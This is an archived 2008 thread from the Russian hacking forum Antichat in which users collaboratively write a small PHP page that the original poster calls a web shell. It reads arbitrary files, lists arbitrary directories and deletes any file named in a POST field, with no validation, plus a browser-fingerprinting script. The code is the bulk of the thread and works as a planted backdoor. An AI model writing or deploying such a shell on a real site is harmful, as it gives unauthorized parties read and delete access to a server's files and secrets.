Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   вывод результатов из Php (https://forum.antichat.xyz/showthread.php?t=86027)

Ershik 24.09.2008 20:12

вывод результатов из Php
 
Есть два куска кода:

1 кусок кода читает содержимое файлов

PHP код:

<?php
$filename 
"/var/www/html/index.php";
$fp fopen($filename'r');
$buf fread($fpfilesize($filename));
fclose($fp);
echo 
$buf;
?>

Второй кусок кода выводит содержимое директории

PHP код:

<?php
$dir    
'/var/www/';
$files scandir($dir);
print_r($files);
?>

Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран?
Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ
Тоже самое должн происходить и с выводом содержимого файла?
Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.

brasco2k 24.09.2008 20:22

Во первых, не:
PHP код:

<?php 
$filename 
"/var/www/html/index.php"
$fp fopen($filename'r'); 
$buf fread($fpfilesize($filename)); 
fclose($fp); 
echo 
$buf
?>

а:
PHP код:

<?php
$buf 
file_get_contents('/var/www/html/index.php');
echo 
$buf;
?>

а по теме, $_POST это массив:
PHP код:

<?php
foreach($_POST as $key)
{
      echo 
$key.'<br>';
}
file_put_contents('post.txt',$_POST);
?>

если чесна не понял вопроса

Kaimi 24.09.2008 20:27

Цитата:

Во первых, не:
PHP код:
<?php
$filename = "/var/www/html/index.php";
$fp = fopen($filename, 'r');
$buf = fread($fp, filesize($filename));
fclose($fp);
echo $buf;
?>

а:
PHP код:
<?php
$buf = file_get_contents('/var/www/html/index.php');
echo $buf;
?>
А если файл весит 500 мб?

Ershik 24.09.2008 20:28

Спасибо.
Нужно эти 2 куска кода запихать в один файл.
Что-то типа веб-шелла на php но лишь с двумя возможностями:
1) вывод список файлов и папок в данной директории, например "/var/www/html/'"
2) вывод исходного текста, например из index.php

brasco2k 24.09.2008 20:37

Цитата:

Сообщение от Kaimi
А если файл весит 500 мб?

1. PHP не позволит
2. Кто такие файлы грузит?

попугай 24.09.2008 21:57

Что то типа того... о безопасности позаботься сам...

PHP код:

<form action="" method="post">
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form>

<form action="" method="post">
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form>

<?php 
if($_POST['fail'] and $_POST['ok1']){
$filename $_POST['fail']; 
$fp fopen($filename'r'); 
$buf fread($fpfilesize($filename)); 
fclose($fp); 
echo 
"<textarea rows=20 cols=100>" $buf "</textarea>"
}
if(
$_POST['dir'] and $_POST['ok2']){
$dir    $_POST['dir']; 
$files scandir($dir); 
echo 
"<textarea rows=20 cols=100>";
foreach(
$files as $file){
 echo 
$file "\r\n";
 }
 echo 
"</textarea>";
}
?>


Ershik 24.09.2008 22:16

Работает :) Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)

попугай 24.09.2008 22:44

поменяй

PHP код:

echo "<textarea rows=20 cols=100>" $buf "</textarea>"

на

PHP код:

echo "<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"

а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..

Ershik 02.12.2008 18:00

Доработал чуть-чуть скрипт, и возникли вопросы.
1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле.
Как это можно пофиксить?
2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги:
etc, /etc/home/, /etc/home/pornostar/index.php/

Как можно сохранить строку директории?

3) В коде есть ненужный кусок
Цитата:

if (file_exists($_POST['fail']))
{
}

else
{
echo '<div align="center"><h1>файл не найден</h1></div>';
}
Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке.
Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет?

Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал.
Впервой мне :rolleyes:
Сам скрипт

PHP код:

<form action="" method="post"> 
Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> 

<form action="" method="post"> 
Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> 

<form action="" method="post"> 
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> 


<?php  

if($_POST['fail'] and $_POST['ok1']){ 
$filename $_POST['fail'];  
$fp fopen($filename'r');
if (
file_exists($_POST['fail']))
{
}
else
{
echo 
'<div align="center"><h1>файл не найден</h1></div>';
}
$file_exists $buf;  
$buf fread($fpfilesize($filename));  
fclose($fp);  
echo 
"<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>";

}
if(
$_POST['dir'] and $_POST['ok2']){ 
$dir    $_POST['dir'];  
$files scandir($dir);  
echo 
"<textarea rows=20 cols=100>"
foreach(
$files as $file){ 
 echo 
$file "\r\n"
 } 
 echo 
"</textarea>"

if(
$_POST['del'] and $_POST['ok3']){ 
$del $_POST['del'];
$uplink unlink($_POST['del']);
}
?>
<br>
    <br>
<script language="javascript">
    var name = navigator.appName;
    var vers = navigator.appVersion;
    var code = navigator.appCodeName;
    var where = document.referrer;
    var platform = navigator.platform;
    document.write(
        'Броузер: ' + name +
        '<br>Версия броузера: ' + vers +
        '<br>Кодовое название броузера: ' + code +
        '<br>Вы зашли из: ' + where +
        '<br>Платформа: ' + platform
        );
</script>


[dei] 02.12.2008 18:24

PHP код:

<?php
if(!empty($_POST['fail'])) $fail $_POST['fail'];
else 
$fail false;
if(!empty(
$_POST['dir'])) $dir $_POST['dir'];
else 
$dir false
?>

<form action="" method="post">  
Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form>  

<form action="" method="post">  
Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form>  

<form action="" method="post">  
Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form>  


<?php   

if($fail and $_POST['ok1']) {  
    
$filename $fail;   
    
$fp fopen($filename'r'); 
    if (!@
file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>'
    
    
$file_exists $buf;   
    
$buf fread($fpfilesize($filename));   
    
fclose($fp);   
    echo 
"<textarea rows=20 cols=100>" htmlspecialchars($buf) . "</textarea>"


if(
$dir and $_POST['ok2']) {    
    
$dir $dir;   
    
$files scandir($dir);   
    echo 
"<textarea rows=20 cols=100>";  
    foreach(
$files as $file) {  
        echo 
$file "\r\n";  
    }  
    echo 
"</textarea>";  
}  
if(
$_POST['del'] and $_POST['ok3']) {  
    
$del $_POST['del']; 
    
$uplink unlink($_POST['del']); 

?> 
<br> 
    <br> 
<script language="javascript"> 
    var name = navigator.appName; 
    var vers = navigator.appVersion; 
    var code = navigator.appCodeName; 
    var where = document.referrer; 
    var platform = navigator.platform; 
    document.write( 
        'Броузер: ' + name + 
        '<br>Версия броузера: ' + vers + 
        '<br>Кодовое название броузера: ' + code + 
        '<br>Вы зашли из: ' + where + 
        '<br>Платформа: ' + platform 
        ); 
</script>



Время: 12:07